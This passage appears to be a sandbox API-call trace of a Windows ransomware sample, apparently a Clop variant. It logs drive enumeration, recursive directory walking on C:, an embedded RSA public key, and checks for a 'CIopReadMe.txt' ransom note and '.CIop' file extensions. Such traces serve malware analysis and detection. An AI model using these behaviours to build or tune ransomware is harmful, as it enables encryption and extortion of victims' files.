[0118.117] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.118] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0118.118] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0118.118] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0118.118] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0118.118] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0118.118] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0118.118] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0118.118] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0118.118] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0118.118] SetErrorMode (uMode=0x1) returned 0x1 [0118.118] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0118.118] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0118.118] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0118.118] lstrcatW (in: lpString1="C:\\Windows\\", lpString2="*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0118.118] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0118.118] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0118.118] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0118.118] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.118] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0118.118] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0118.118] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0118.118] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0118.118] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0118.118] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.119] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0118.119] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0118.119] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0118.119] Sleep (dwMilliseconds=0x493e0) [0128.124] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0128.124] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0128.124] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0128.124] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0128.125] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0128.125] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0128.125] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0128.125] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0128.126] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0128.126] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0128.126] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0128.126] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0128.126] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0128.126] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0128.127] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0128.127] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0128.127] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0128.127] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0128.128] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0128.128] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0128.128] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0128.128] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0128.128] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0128.128] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0128.129] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0128.129] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0128.129] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0128.129] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0128.130] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0128.130] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0128.130] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0128.130] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0128.130] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0128.131] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0128.131] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0128.131] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0128.131] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0128.131] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0128.132] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0128.132] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0128.132] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0128.132] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0128.132] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0128.132] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0128.133] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0128.133] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0128.133] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0128.133] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0128.134] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0128.134] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0128.134] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0128.134] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0128.134] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0128.135] SetErrorMode (uMode=0x1) returned 0x1 [0128.135] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.135] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.135] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0128.135] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0128.135] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e478 [0128.135] PathFindFileNameW (pszPath="C:") returned="C:" [0128.135] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.136] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.136] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.136] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0128.136] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0128.136] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0128.136] Sleep (dwMilliseconds=0xd) [0128.155] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0128.155] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0128.155] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0128.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0128.156] SetErrorMode (uMode=0x1) returned 0x1 [0128.157] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0128.157] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0128.157] CloseHandle (hObject=0x670) returned 1 [0128.158] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.159] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2="..") returned 1 [0128.159] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2=".") returned 1 [0128.159] lstrlenW (lpString=".CIop") returned 5 [0128.159] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.159] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0128.159] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0128.159] lstrlenW (lpString="bootsect.bak") returned 12 [0128.159] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.159] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.159] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.159] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.159] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.159] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0128.160] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0128.160] lstrlenW (lpString=".sys") returned 4 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0128.160] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0128.160] lstrlenW (lpString=".sys") returned 4 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.160] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0128.161] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0128.161] lstrlenW (lpString=".sys") returned 4 [0128.161] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.161] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.161] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.161] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0128.161] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.161] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.162] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.162] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0128.162] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e9f8 [0128.163] PathFindFileNameW (pszPath="C:") returned="C:" [0128.163] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.163] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.163] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.163] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0128.163] SetErrorMode (uMode=0x1) returned 0x1 [0128.163] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0128.163] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0128.163] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0128.163] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0128.164] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0128.164] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0128.164] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0128.164] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.164] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0128.164] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0128.165] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0128.165] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0128.165] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0128.165] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.165] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.166] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0128.166] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0128.166] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.166] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.166] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0128.166] SetErrorMode (uMode=0x1) returned 0x1 [0128.166] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0128.166] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0128.167] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0128.167] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0128.167] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0128.167] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0128.167] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0128.167] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.167] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0128.167] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0128.168] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.168] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0128.168] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0128.168] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.168] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.168] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.168] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.168] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.168] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.169] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0128.169] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0128.169] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.169] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.169] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0128.169] SetErrorMode (uMode=0x1) returned 0x1 [0128.169] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0128.169] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0128.169] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0128.169] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0128.169] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.170] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0128.170] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0128.170] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.171] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.171] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.171] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0128.171] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0128.171] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0128.171] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0128.172] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0128.172] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0128.172] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.172] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.172] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.172] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.173] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0128.173] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.173] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0128.173] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0128.173] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.173] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.173] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0128.173] SetErrorMode (uMode=0x1) returned 0x1 [0128.174] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0128.174] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0128.174] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0128.174] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0128.174] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0128.174] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0128.174] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0128.174] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.174] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.175] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.175] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0128.175] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0128.175] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0128.175] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0128.175] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0128.175] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.175] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.175] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.175] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.175] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.175] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.176] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0128.176] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0128.176] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.176] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.176] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0128.176] SetErrorMode (uMode=0x1) returned 0x1 [0128.176] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0128.176] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0128.176] lstrcpyW (in: 